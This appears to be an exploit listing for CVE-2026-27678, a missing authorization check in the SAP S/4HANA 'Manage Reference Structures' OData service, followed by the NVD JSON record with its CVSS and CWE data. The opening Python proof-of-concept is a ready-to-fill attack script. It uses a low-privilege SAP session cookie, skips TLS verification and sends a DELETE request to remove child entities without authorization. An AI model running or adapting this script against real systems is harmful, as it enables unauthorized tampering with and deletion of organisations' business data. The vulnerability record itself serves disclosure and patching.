CVE-2026-27678

import requests # Target OData Service Endpoint for Manage Reference Structures # Replace <target_host> with the actual hostname target_url = "https://<target_host>/sap/opu/odata/sap/API_MANAGE_REF_STRUCTURES/ChildEntitySet('<entity_id>')" # Headers often required for SAP OData interaction # x-csrf-token is usually fetched first, but for simplicity, we assume a scenario where it might be bypassed or obtained headers = { "Accept": "application/json", "Content-Type": "application/json", "x-csrf-token": "<valid_csrf_token_or_skip>" } # Low-privileged user session cookie cookies = { "sap-usercontext": "sap-client=100", "MYSAPSSO2": "<valid_low_priv_cookie>" } # Vulnerability: Missing Authorization Check # Attempting to DELETE a child entity without proper authorization response = requests.delete(target_url, headers=headers, cookies=cookies, verify=False) if response.status_code == 204 or response.status_code == 200: print("[+] PoC Successful: Child entity deleted via unauthorized access.") else: print(f"[-] PoC Failed: Status Code {response.status_code}") print(response.text)

{"cve": {"id": "CVE-2026-27678", "sourceIdentifier": "[email protected]", "published": "2026-04-14T00:16:06.270", "lastModified": "2026-04-17T15:18:16.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to missing authorization checks in the SAP S/4HANA backend OData Service (Manage Reference Structures), an attacker could update and delete child entities via exposed OData services without proper authorization. This vulnerability has a high impact on integrity, while confidentiality and availability are not impacted."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://me.sap.com/notes/3715177", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}